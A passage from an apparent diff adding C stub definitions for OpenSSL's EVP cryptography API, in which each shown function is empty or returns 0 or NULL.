type, ENGINE * e, EVP_PKEY * pkey) { + return 0; +} + +int EVP_DigestVerifyUpdate(EVP_MD_CTX * ctx, const void * data, size_t dsize) { + return 0; +} + +int EVP_DigestVerifyFinal(EVP_MD_CTX * ctx, const unsigned char * sig, size_t siglen) { + return 0; +} + +int EVP_OpenInit(EVP_CIPHER_CTX * ctx, const EVP_CIPHER * type, const unsigned char * ek, int ekl, const unsigned char * iv, EVP_PKEY * priv) { + return 0; +} + +int EVP_OpenFinal(EVP_CIPHER_CTX * ctx, unsigned char * out, int * outl) { + return 0; +} + +int EVP_SealInit(EVP_CIPHER_CTX * ctx, const EVP_CIPHER * type, unsigned char ** ek, int * ekl, unsigned char * iv, EVP_PKEY ** pubk, int npubk) { + return 0; +} + +int EVP_SealFinal(EVP_CIPHER_CTX * ctx, unsigned char * out, int * outl) { + return 0; +} + +EVP_ENCODE_CTX * EVP_ENCODE_CTX_new(void) { + return NULL; +} + +void EVP_ENCODE_CTX_free(EVP_ENCODE_CTX * ctx) ; + + +int EVP_ENCODE_CTX_copy(EVP_ENCODE_CTX * dctx, const EVP_ENCODE_CTX * sctx) { + return 0; +} + +int EVP_ENCODE_CTX_num(EVP_ENCODE_CTX * ctx) { + return 0; +} + +void EVP_EncodeInit(EVP_ENCODE_CTX * ctx) ; + + +int EVP_EncodeUpdate(EVP_ENCODE_CTX * ctx, unsigned char * out, int * outl, const unsigned char * in, int inl) { + return 0; +} + +void EVP_EncodeFinal(EVP_ENCODE_CTX * ctx, unsigned char * out, int * outl) ; + + +int EVP_EncodeBlock(unsigned char * t, const unsigned char * f, int n) { + return 0; +} + +void EVP_DecodeInit(EVP_ENCODE_CTX * ctx) ; + + +int EVP_DecodeUpdate(EVP_ENCODE_CTX * ctx, unsigned char * out, int * outl, const unsigned char * in, int inl) { + return 0; +} + +int EVP_DecodeFinal(EVP_ENCODE_CTX * ctx, unsigned char * out, int * outl) { + return 0; +} + +int EVP_DecodeBlock(unsigned char * t, const unsigned char * f, int n) { + return 0; +} + +EVP_CIPHER_CTX * EVP_CIPHER_CTX_new(void) { + return NULL; +} + +int EVP_CIPHER_CTX_reset(EVP_CIPHER_CTX * c) { + return 0; +} + +void EVP_CIPHER_CTX_free(EVP_CIPHER_CTX * c) ; + + +int EVP_CIPHER_CTX_set_key_length(EVP_CIPHER_CTX * x, int keylen) { + return 0; +} + +int EVP_CIPHER_CTX_set_padding(EVP_CIPHER_CTX * c, int pad) { + return 0; +} + +int EVP_CIPHER_CTX_ctrl(EVP_CIPHER_CTX * ctx, int type, int arg, void * ptr) { + return 0; +} + +int EVP_CIPHER_CTX_rand_key(EVP_CIPHER_CTX * ctx, unsigned char * key) { + return 0; +} + +int EVP_CIPHER_get_params(EVP_CIPHER * cipher, OSSL_PARAM * params) { + return 0; +} + +int EVP_CIPHER_CTX_set_params(EVP_CIPHER_CTX * ctx, const OSSL_PARAM * params) { + return 0; +} + +int EVP_CIPHER_CTX_get_params(EVP_CIPHER_CTX * ctx, OSSL_PARAM * params) { + return 0; +} + +const OSSL_PARAM * EVP_CIPHER_gettable_params(const EVP_CIPHER * cipher) { + return NULL; +} + +const OSSL_PARAM * EVP_CIPHER_settable_ctx_params(const EVP_CIPHER * cipher) { + return NULL; +} + +const OSSL_PARAM * EVP_CIPHER_gettable_ctx_params(const EVP_CIPHER * cipher) { + return NULL; +} + +const OSSL_PARAM * EVP_CIPHER_CTX_settable_params(EVP_CIPHER_CTX * ctx) { + return NULL; +} + +const OSSL_PARAM * EVP_CIPHER_CTX_gettable_params(EVP_CIPHER_CTX * ctx) { + return NULL; +} + +int EVP_CIPHER_CTX_set_algor_params(EVP_CIPHER_CTX * ctx, const X509_ALGOR * alg) { + return 0; +} + +int EVP_CIPHER_CTX_get_algor_params(EVP_CIPHER_CTX * ctx, X509_ALGOR * alg) { + return 0; +} + +int EVP_CIPHER_CTX_get_algor(EVP_CIPHER_CTX * ctx, X509_ALGOR ** alg) { + return 0; +} + +const int * BIO_f_md(void) { + return NULL; +} + +const int * BIO_f_base64(void) { + return NULL; +} + +const int * BIO_f_cipher(void) { + return NULL; +} + +const int * BIO_f_reliable(void) { + return NULL; +} + +int BIO_set_cipher(BIO * b, const EVP_CIPHER * c, const unsigned char * k, const unsigned char * i, int enc) { + return 0; +} + +const EVP_MD * EVP_md_null(void) { + return NULL; +} + +const EVP_MD * EVP_md2(void) { + return NULL; +} + +const EVP_MD * EVP_md4(void) { + return NULL; +} + +const EVP_MD * EVP_md5(void) { + return NULL; +} + +const EVP_MD * EVP_md5_sha1(void) { + return NULL; +} + +const EVP_MD * EVP_blake2b512(void) { + return NULL; +} + +const EVP_MD * EVP_blake2s256(void) { + return NULL; +} + +const EVP_MD * EVP_sha1(void) { + return NULL; +} + +const EVP_MD * EVP_sha224(void) { + return NULL; +} + +const EVP_MD * EVP_sha256(void) { + return NULL; +} + +const EVP_MD * EVP_sha384(void) { + return NULL; +} + +const EVP_MD * EVP_sha512(void) { + return NULL; +} + +const EVP_MD * EVP_sha512_224(void) { + return NULL; +} + +const EVP_MD * EVP_sha512_256(void) { + return NULL; +} + +const EVP_MD * EVP_sha3_224(void) { + return NULL; +} + +const EVP_MD * EVP_sha3_256(void) { + return NULL; +} + +const EVP_MD * EVP_sha3_384(void) { + return NULL; +} + +const EVP_MD * EVP_sha3_512(void) { + return NULL; +} + +const EVP_MD * EVP_shake128(void) { + return NULL; +} + +const EVP_MD * EVP_shake256(void) { + return NULL; +} + +const EVP_MD * EVP_mdc2(void) { + return NULL; +} + +const EVP_MD * EVP_ripemd160(void) { + return NULL; +} + +const EVP_MD * EVP_whirlpool(void) { + return NULL; +} + +const EVP_MD * EVP_sm3(void) { + return NULL; +} + +const EVP_CIPHER * EVP_enc_null(void) { + return NULL; +} + +const EVP_CIPHER * EVP_des_ecb(void) { + return NULL; +} + +const EVP_CIPHER * EVP_des_ede(void) { + return NULL; +} + +const EVP_CIPHER * EVP_des_ede3(void) { + return NULL; +} + +const EVP_CIPHER * EVP_des_ede_ecb(void) { + return NULL; +} + +const EVP_CIPHER * EVP_des_ede3_ecb(void) { + return NULL; +} + +const EVP_CIPHER * EVP_des_cfb64(void) { + return NULL; +} + +const EVP_CIPHER * EVP_des_cfb1(void) { + return NULL; +} + +const EVP_CIPHER * EVP_des_cfb8(void) { + return NULL; +} + +const EVP_CIPHER * EVP_des_ede_cfb64(void) { + return NULL; +} + +const EVP_CIPHER * EVP_des_ede3_cfb64(void) { + return NULL; +} + +const EVP_CIPHER * EVP_des_ede3_cfb1(void) { + return NULL; +} + +const EVP_CIPHER * EVP_des_ede3_cfb8(void) { + return NULL; +} + +const EVP_CIPHER * EVP_des_ofb(void) { + return NULL; +} + +const EVP_CIPHER * EVP_des_ede_ofb(void) { + return NULL; +} + +const EVP_CIPHER * EVP_des_ede3_ofb(void) { + return NULL; +} + +const EVP_CIPHER * EVP_des_cbc(void) { + return NULL; +} + +const EVP_CIPHER * EVP_des_ede_cbc(void) { + return NULL; +} + +const EVP_CIPHER * EVP_des_ede3_cbc(void) { + return NULL; +} + +const EVP_CIPHER * EVP_desx_cbc(void) { + return NULL; +} + +const EVP_CIPHER * EVP_des_ede3_wrap(void) { + return NULL; +} + +const EVP_CIPHER * EVP_rc4(void) { + return NULL; +} + +const EVP_CIPHER * EVP_rc4_40(void) { + return NULL; +} + +const EVP_CIPHER * EVP_rc4_hmac_md5(void) { + return NULL; +} + +const EVP_CIPHER * EVP_idea_ecb(void) { + return NULL; +} + +const EVP_CIPHER * EVP_idea_cfb64(void) { + return NULL; +} + +const EVP_CIPHER * EVP_idea_ofb(void) { + return NULL; +} + +const EVP_CIPHER * EVP_idea_cbc(void) { + return NULL; +} + +const EVP_CIPHER * EVP_rc2_ecb(void) { + return NULL; +} + +const EVP_CIPHER * EVP_rc2_cbc(void) { + return NULL; +} + +const EVP_CIPHER * EVP_rc2_40_cbc(void) { + return NULL; +} + +const EVP_CIPHER * EVP_rc2_64_cbc(void) { + return NULL; +} + +const EVP_CIPHER * EVP_rc2_cfb64(void) { + return NULL; +} + +const EVP_CIPHER * EVP_rc2_ofb(void) { + return NULL; +} + +const EVP_CIPHER * EVP_bf_ecb(void) { + return NULL; +} + +const EVP_CIPHER * EVP_bf_cbc(void) { + return NULL; +} + +const EVP_CIPHER * EVP_bf_cfb64(void) { + return NULL; +} + +const EVP_CIPHER * EVP_bf_ofb(void) { + return NULL; +} + +const EVP_CIPHER * EVP_cast5_ecb(void) { + return NULL; +} + +const EVP_CIPHER * EVP_cast5_cbc(void) { + return NULL; +} + +const EVP_CIPHER * EVP_cast5_cfb64(void) { + return NULL; +} + +const EVP_CIPHER * EVP_cast5_ofb(void) { + return NULL; +} + +const EVP_CIPHER * EVP_rc5_32_12_16_cbc(void) { + return NULL; +} + +const EVP_CIPHER * EVP_rc5_32_12_16_ecb(void) { + return NULL; +} + +const EVP_CIPHER * EVP_rc5_32_12_16_cfb64(void) { + return NULL; +} + +const EVP_CIPHER * EVP_rc5_32_12_16_ofb(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aes_128_ecb(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aes_128_cbc(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aes_128_cfb1(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aes_128_cfb8(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aes_128_cfb128(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aes_128_ofb(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aes_128_ctr(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aes_128_ccm(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aes_128_gcm(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aes_128_xts(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aes_128_wrap(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aes_128_wrap_pad(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aes_128_ocb(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aes_192_ecb(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aes_192_cbc(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aes_192_cfb1(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aes_192_cfb8(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aes_192_cfb128(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aes_192_ofb(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aes_192_ctr(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aes_192_ccm(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aes_192_gcm(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aes_192_wrap(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aes_192_wrap_pad(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aes_192_ocb(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aes_256_ecb(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aes_256_cbc(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aes_256_cfb1(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aes_256_cfb8(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aes_256_cfb128(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aes_256_ofb(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aes_256_ctr(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aes_256_ccm(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aes_256_gcm(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aes_256_xts(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aes_256_wrap(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aes_256_wrap_pad(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aes_256_ocb(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aes_128_cbc_hmac_sha1(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aes_256_cbc_hmac_sha1(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aes_128_cbc_hmac_sha256(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aes_256_cbc_hmac_sha256(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aria_128_ecb(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aria_128_cbc(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aria_128_cfb1(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aria_128_cfb8(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aria_128_cfb128(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aria_128_ctr(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aria_128_ofb(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aria_128_gcm(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aria_128_ccm(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aria_192_ecb(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aria_192_cbc(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aria_192_cfb1(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aria_192_cfb8(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aria_192_cfb128(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aria_192_ctr(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aria_192_ofb(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aria_192_gcm(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aria_192_ccm(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aria_256_ecb(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aria_256_cbc(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aria_256_cfb1(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aria_256_cfb8(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aria_256_cfb128(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aria_256_ctr(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aria_256_ofb(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aria_256_gcm(void) { + return NULL; +} + +const EVP_CIPHER * EVP_aria_256_ccm(void) { + return NULL; +} + +const EVP_CIPHER * EVP_camellia_128_ecb(void) { + return NULL; +} + +const EVP_CIPHER * EVP_camellia_128_cbc(void) { + return NULL; +} + +const EVP_CIPHER * EVP_camellia_128_cfb1(void) { + return NULL; +} + +const EVP_CIPHER * EVP_camellia_128_cfb8(void) { + return NULL; +} + +const EVP_CIPHER * EVP_camellia_128_cfb128(void) { + return NULL; +} + +const EVP_CIPHER * EVP_camellia_128_ofb(void) { + return NULL; +} + +const EVP_CIPHER * EVP_camellia_128_ctr(void) { + return NULL; +} + +const EVP_CIPHER * EVP_camellia_192_ecb(void) { + return NULL; +} + +const EVP_CIPHER * EVP_camellia_192_cbc(void) { + return NULL; +} + +const EVP_CIPHER * EVP_camellia_192_cfb1(void) { + return NULL; +} + +const EVP_CIPHER * EVP_camellia_192_cfb8(void) { + return NULL; +} + +const EVP_CIPHER * EVP_camellia_192_cfb128(void) { + return NULL; +} + +const EVP_CIPHER * EVP_camellia_192_ofb(void) { + return NULL; +} + +const EVP_CIPHER * EVP_camellia_192_ctr(void) { + return NULL; +} + +const EVP_CIPHER * EVP_camellia_256_ecb(void) { + return NULL; +} + +const EVP_CIPHER * EVP_camellia_256_cbc(void) { + return NULL; +} + +const EVP_CIPHER * EVP_camellia_256_cfb1(void) { + return NULL; +} + +const EVP_CIPHER * EVP_camellia_256_cfb8(void) { + return NULL; +} + +const EVP_CIPHER * EVP_camellia_256_cfb128(void) { + return NULL; +} + +const EVP_CIPHER * EVP_camellia_256_ofb(void) { + return NULL; +} + +const EVP_CIPHER * EVP_camellia_256_ctr(void) { + return NULL; +} + +const EVP_CIPHER * EVP_chacha20(void) { + return NULL; +} + +const EVP_CIPHER * EVP_chacha20_poly1305(void) { + return NULL; +} + +const EVP_CIPHER * EVP_seed_ecb(void) { + return NULL; +} + +const EVP_CIPHER * EVP_seed_cbc(void) { + return NULL; +} + +const EVP_CIPHER * EVP_seed_cfb128(void) { + return NULL; +} + +const EVP_CIPHER * EVP_seed_ofb(void) { + return NULL; +} + +const EVP_CIPHER * EVP_sm4_ecb(void) { + return NULL; +} + +const EVP_CIPHER * EVP_sm4_cbc(void) { + return NULL; +} + +const EVP_CIPHER * EVP_sm4_cfb128(void) { + return NULL; +} + +const EVP_CIPHER * EVP_sm4_ofb(void) { + return NULL; +} + +const EVP_CIPHER * EVP_sm4_ctr(void) { + return NULL; +} + +int EVP_add_cipher(const EVP_CIPHER * cipher) { + return 0; +} + +int EVP_add_digest(const EVP_MD * digest) { + return 0; +} + +const EVP_CIPHER * EVP_get_cipherbyname(const char * name) { + return NULL; +} + +const EVP_MD * EVP_get_digestbyname(const char * name) { + return NULL; +} + +void EVP_CIPHER_do_all(void (*fn)(const EVP_CIPHER *, const char *, const char *, void *), void * arg) ; + + +void EVP_CIPHER_do_all_sorted(void (*fn)(const EVP_CIPHER *, const char *, const char *, void *), void * arg) ; + + +void EVP_CIPHER_do_all_provided(OSSL_LIB_CTX * libctx, void (*fn)(EVP_CIPHER *, void *), void * arg) ; + + +void EVP_MD_do_all(void (*fn)(const EVP_MD *, const char *, const char *, void *), void * arg) ; + + +void EVP_MD_do_all_sorted(void (*fn)(const EVP_MD *, const char *, const char *, void *), void * arg) ; + + +void EVP_MD_do_all_provided(OSSL_LIB_CTX * libctx, void (*fn)(EVP_MD *, void *), void * arg) ; + + +EVP_MAC * EVP_MAC_fetch(OSSL_LIB_CTX * libctx, const char * algorithm, const char * properties) { + return NULL; +} + +int EVP_MAC_up_ref(EVP_MAC * mac) { + return 0; +} + +void EVP_MAC_free(EVP_MAC * mac) ; + + +const char * EVP_MAC_get0_name(const EVP_MAC * mac) { + return NULL; +} + +const char * EVP_MAC_get0_description(const EVP_MAC * mac) { + return NULL; +} + +int EVP_MAC_is_a(const EVP_MAC * mac, const char * name) { + return 0; +} + +const OSSL_PROVIDER * EVP_MAC_get0_provider(const EVP_MAC * mac) { + return NULL; +} + +int EVP_MAC_get_params(EVP_MAC * mac, OSSL_PARAM * params) { + return 0; +} + +EVP_MAC_CTX * EVP_MAC_CTX_new(EVP_MAC * mac) { + return NULL; +} + +void EVP_MAC_CTX_free(EVP_MAC_CTX * ctx) ; + + +EVP_MAC_CTX * EVP_MAC_CTX_dup(const EVP_MAC_CTX * src) { + return NULL; +} + +EVP_MAC * EVP_MAC_CTX_get0_mac(EVP_MAC_CTX * ctx) { + return NULL; +} + +int EVP_MAC_CTX_get_params(EVP_MAC_CTX * ctx, OSSL_PARAM * params) { + return 0; +} + +int EVP_MAC_CTX_set_params(EVP_MAC_CTX * ctx, const OSSL_PARAM * params) { + return 0; +} + +size_t EVP_MAC_CTX_get_mac_size(EVP_MAC_CTX * ctx) { + return 0; +} + +size_t EVP_MAC_CTX_get_block_size(EVP_MAC_CTX * ctx) { + return 0; +} + +unsigned char * EVP_Q_mac(OSSL_LIB_CTX * libctx, const char * name, const char * propq, const char * subalg, const OSSL_PARAM * params, const void * key, size_t keylen, const unsigned char * data, size_t datalen, unsigned char * out, size_t outsize, size_t * outlen) { + return NULL; +} + +int EVP_MAC_init(EVP_MAC_CTX * ctx, const unsigned char * key, size_t keylen, const OSSL_PARAM * params) { + return 0; +} + +int EVP_MAC_init_SKEY(EVP_MAC_CTX * ctx, EVP_SKEY * skey, const OSSL_PARAM * params) { + return 0; +} + +int EVP_MAC_update(EVP_MAC_CTX * ctx, const unsigned char * data, size_t datalen) { + return 0; +} + +int EVP_MAC_final(EVP_MAC_CTX * ctx, unsigned char * out, size_t * outl, size_t outsize) { + return 0; +} + +int EVP_MAC_finalXOF(EVP_MAC_CTX * ctx, unsigned char * out, size_t outsize) { + return 0; +} + +const OSSL_PARAM * EVP_MAC_gettable_params(const EVP_MAC * mac) { + return NULL; +} + +const OSSL_PARAM * EVP_MAC_gettable_ctx_params(const EVP_MAC * mac) { + return NULL; +} + +const OSSL_PARAM * EVP_MAC_settable_ctx_params(const EVP_MAC * mac) { + return NULL; +} + +const OSSL_PARAM * EVP_MAC_CTX_gettable_params(EVP_MAC_CTX * ctx) { + return NULL; +} + +const OSSL_PARAM * EVP_MAC_CTX_settable_params(EVP_MAC_CTX * ctx) { + return NULL; +} + +void EVP_MAC_do_all_provided(OSSL_LIB_CTX * libctx, void (*fn)(EVP_MAC *, void *), void * arg) ; + + +int EVP_MAC_names_do_all(const EVP_MAC * mac, void (*fn)(const char *, void *), void * data) { + return 0; +} + +EVP_RAND * EVP_RAND_fetch(OSSL_LIB_CTX * libctx, const char * algorithm, const char * properties) { + return NULL; +} + +int EVP_RAND_up_ref(EVP_RAND * rand) { + return 0; +} + +void EVP_RAND_free(EVP_RAND * rand) ; + + +const char * EVP_RAND_get0_name(const EVP_RAND * rand) { + return NULL; +} + +const char * EVP_RAND_get0_description(const EVP_RAND * md) { + return NULL; +} + +int EVP_RAND_is_a(const EVP_RAND * rand, const char * name) { + return 0; +} + +const OSSL_PROVIDER * EVP_RAND_get0_provider(const EVP_RAND * rand) { + return NULL; +} + +int EVP_RAND_get_params(EVP_RAND * rand, OSSL_PARAM * params) { + return 0; +} + +EVP_RAND_CTX * EVP_RAND_CTX_new(EVP_RAND * rand, EVP_RAND_CTX * parent) { + return NULL; +} + +int EVP_RAND_CTX_up_ref(EVP_RAND_CTX * ctx) { + return 0; +} + +void EVP_RAND_CTX_free(EVP_RAND_CTX * ctx) ; + + +EVP_RAND * EVP_RAND_CTX_get0_rand(EVP_RAND_CTX * ctx) { + return NULL; +} + +int EVP_RAND_CTX_get_params(EVP_RAND_CTX * ctx, OSSL_PARAM * params) { + return 0; +} + +int EVP_RAND_CTX_set_params(EVP_RAND_CTX * ctx, const OSSL_PARAM * params) { + return 0; +} + +const OSSL_PARAM * EVP_RAND_gettable_params(const EVP_RAND * rand) { + return NULL; +} + +const OSSL_PARAM * EVP_RAND_gettable_ctx_params(const EVP_RAND * rand) { + return NULL; +} + +const OSSL_PARAM * EVP_RAND_settable_ctx_params(const EVP_RAND * rand) { + return NULL; +} + +const OSSL_PARAM * EVP_RAND_CTX_gettable_params(EVP_RAND_CTX * ctx) { + return NULL; +} + +const OSSL_PARAM * EVP_RAND_CTX_settable_params(EVP_RAND_CTX * ctx) { + return NULL; +} + +void EVP_RAND_do_all_provided(OSSL_LIB_CTX * libctx, void (*fn)(EVP_RAND *, void *), void * arg) ; + + +int EVP_RAND_names_do_all(const EVP_RAND * rand, void (*fn)(const char *, void *), void * data) { + return 0; +} + +int EVP_RAND_instantiate(EVP_RAND_CTX * ctx, unsigned int strength, int prediction_resistance, const unsigned char * pstr, size_t pstr_len, const OSSL_PARAM * params) { + return 0; +} + +int EVP_RAND_uninstantiate(EVP_RAND_CTX * ctx) { + return 0; +} + +int EVP_RAND_generate(EVP_RAND_CTX * ctx, unsigned char * out, size_t outlen, unsigned int strength, int prediction_resistance, const unsigned char * addin, size_t addin_len) { + return 0; +} + +int EVP_RAND_reseed(EVP_RAND_CTX * ctx, int prediction_resistance, const unsigned char * ent, size_t ent_len, const unsigned char * addin, size_t addin_len) { + return 0; +} + +int EVP_RAND_nonce(EVP_RAND_CTX * ctx, unsigned char * out, size_t outlen) { + return 0; +} + +int EVP_RAND_enable_locking(EVP_RAND_CTX * ctx) { + return 0; +} + +int EVP_RAND_verify_zeroization(EVP_RAND_CTX * ctx) { + return 0; +} + +unsigned int EVP_RAND_get_strength(EVP_RAND_CTX * ctx) { + return 0; +} + +int EVP_RAND_get_state(EVP_RAND_CTX * ctx) { + return 0; +} + +int EVP_PKEY_decrypt_old(unsigned char * dec_key, const unsigned char * enc_key, int enc_key_len, EVP_PKEY * private_key) { + return 0; +} + +int EVP_PKEY_encrypt_old(unsigned char * enc_key, const unsigned char * key, int key_len, EVP_PKEY * pub_key) { + return 0; +} + +int EVP_PKEY_is_a(const EVP_PKEY * pkey, const char * name) { + return 0; +} + +int EVP_PKEY_type_names_do_all(const EVP_PKEY * pkey, void (*fn)(const char *, void *), void * data) { + return 0; +} + +int EVP_PKEY_type(int type) { + return 0; +} + +int EVP_PKEY_get_id(const EVP_PKEY * pkey) { + return 0; +} + +int EVP_PKEY_get_base_id(const EVP_PKEY * pkey) { + return 0; +} + +int EVP_PKEY_get_bits(const EVP_PKEY * pkey) { + return 0; +} + +int EVP_PKEY_get_security_bits(const EVP_PKEY * pkey) { + return 0; +} + +int EVP_PKEY_get_size(const EVP_PKEY * pkey) { + return 0; +} + +int EVP_PKEY_can_sign(const EVP_PKEY * pkey) { + return 0; +} + +int EVP_PKEY_set_type(EVP_PKEY * pkey, int type) { + return 0; +} + +int EVP_PKEY_set_type_str(EVP_PKEY * pkey, const char * str, int len) { + return 0; +} + +int EVP_PKEY_set_type_by_keymgmt(EVP_PKEY * pkey, EVP_KEYMGMT * keymgmt) { + return 0; +} + +int EVP_PKEY_set1_engine(EVP_PKEY * pkey, ENGINE * e) { + return 0; +} + +ENGINE * EVP_PKEY_get0_engine(const EVP_PKEY * pkey) { + return NULL; +} + +int EVP_PKEY_assign(EVP_PKEY * pkey, int type, void * key) { + return 0; +} + +void * EVP_PKEY_get0(const EVP_PKEY * pkey) { + return NULL; +} + +const unsigned char * EVP_PKEY_get0_hmac(const EVP_PKEY * pkey, size_t * len) { + return NULL; +} + +const unsigned char * EVP_PKEY_get0_poly1305(const EVP_PKEY * pkey, size_t * len) { + return NULL; +} + +const unsigned char * EVP_PKEY_get0_siphash(const EVP_PKEY * pkey, size_t * len) { + return NULL; +} + +int EVP_PKEY_set1_RSA(EVP_PKEY * pkey, struct rsa_st * key) { + return 0; +} + +const struct rsa_st * EVP_PKEY_get0_RSA(const EVP_PKEY * pkey) { + return NULL; +} + +struct rsa_st * EVP_PKEY_get1_RSA(EVP_PKEY * pkey) { + return NULL; +} + +int EVP_PKEY_set1_DSA(EVP_PKEY * pkey, struct dsa_st * key) { + return 0; +} + +const struct dsa_st * EVP_PKEY_get0_DSA(const EVP_PKEY * pkey) { + return NULL; +} + +struct dsa_st * EVP_PKEY_get1_DSA(EVP_PKEY * pkey) { + return NULL; +} + +int EVP_PKEY_set1_DH(EVP_PKEY * pkey, struct dh_st * key) { + return 0; +} + +const struct dh_st * EVP_PKEY_get0_DH(const EVP_PKEY * pkey) { + return NULL; +} + +struct dh_st * EVP_PKEY_get1_DH(EVP_PKEY * pkey) { + return NULL; +} + +int EVP_PKEY_set1_EC_KEY(EVP_PKEY * pkey, struct ec_key_st * key) { + return 0; +} + +const struct ec_key_st * EVP_PKEY_get0_EC_KEY(const EVP_PKEY * pkey) { + return NULL; +} + +struct ec_key_st * EVP_PKEY_get1_EC_KEY(EVP_PKEY * pkey) { + return NULL; +} + +EVP_PKEY * EVP_PKEY_new(void) { + return NULL; +} + +int EVP_PKEY_up_ref(EVP_PKEY * pkey) { + return 0; +} + +EVP_PKEY * EVP_PKEY_dup(EVP_PKEY * pkey) { + return NULL; +} + +void EVP_PKEY_free(EVP_PKEY * pkey) ; + + +const char * EVP_PKEY_get0_description(const EVP_PKEY * pkey) { + return NULL; +} + +const OSSL_PROVIDER * EVP_PKEY_get0_provider(const EVP_PKEY * key) { + return NULL; +} + +EVP_PKEY * d2i_PublicKey(int type, EVP_PKEY ** a, const unsigned char ** pp, long length) { + return NULL; +} + +int i2d_PublicKey(const EVP_PKEY * a, unsigned char ** pp) { + return 0; +} + +EVP_PKEY * d2i_PrivateKey_ex(int type, EVP_PKEY ** a, const unsigned char ** pp, long length, OSSL_LIB_CTX * libctx, const char * propq) { + return NULL; +} + +EVP_PKEY * d2i_PrivateKey(int type, EVP_PKEY ** a, const unsigned char ** pp, long length) { + return NULL; +} + +EVP_PKEY * d2i_AutoPrivateKey_ex(EVP_PKEY ** a, const unsigned char ** pp, long length, OSSL_LIB_CTX * libctx, const char * propq) { + return NULL; +} + +EVP_PKEY * d2i_AutoPrivateKey(EVP_PKEY ** a, const unsigned char ** pp, long length) { + return NULL; +} + +int i2d_PrivateKey(const EVP_PKEY * a, unsigned char ** pp) { + return 0; +} + +int i2d_PKCS8PrivateKey(const EVP_PKEY * a, unsigned char ** pp) { + return 0; +} + +int i2d_KeyParams(const EVP_PKEY * a, unsigned char ** pp) { + return 0; +} + +EVP_PKEY * d2i_KeyParams(int type, EVP_PKEY ** a, const unsigned char ** pp, long length) { + return NULL; +} + +int i2d_KeyParams_bio(BIO * bp, const EVP_PKEY * pkey) { + return 0; +} + +EVP_PKEY * d2i_KeyParams_bio(int type, EVP_PKEY ** a, BIO * in) { + return NULL; +} + +int EVP_PKEY_copy_parameters(EVP_PKEY * to, const EVP_PKEY * from) { + return 0; +} + +int EVP_PKEY_missing_parameters(const EVP_PKEY * pkey) { + return 0; +} + +int EVP_PKEY_save_parameters(EVP_PKEY * pkey, int mode) { + return 0; +} + +int EVP_PKEY_parameters_eq(const EVP_PKEY * a, const EVP_PKEY * b) { + return 0; +} + +int EVP_PKEY_eq(const EVP_PKEY * a, const EVP_PKEY * b) { + return 0; +} + +int EVP_PKEY_cmp_parameters(const EVP_PKEY * a, const EVP_PKEY * b) { + return 0; +} + +int EVP_PKEY_cmp(const EVP_PKEY * a, const EVP_PKEY * b) { + return 0; +} + +int EVP_PKEY_print_public(BIO * out, const EVP_PKEY * pkey, int indent, ASN1_PCTX * pctx) { + return 0; +} + +int EVP_PKEY_print_private(BIO * out, const EVP_PKEY * pkey, int indent, ASN1_PCTX * pctx) { + return 0; +} + +int EVP_PKEY_print_params(BIO * out, const EVP_PKEY * pkey, int indent, ASN1_PCTX * pctx) { + return 0; +} + +int 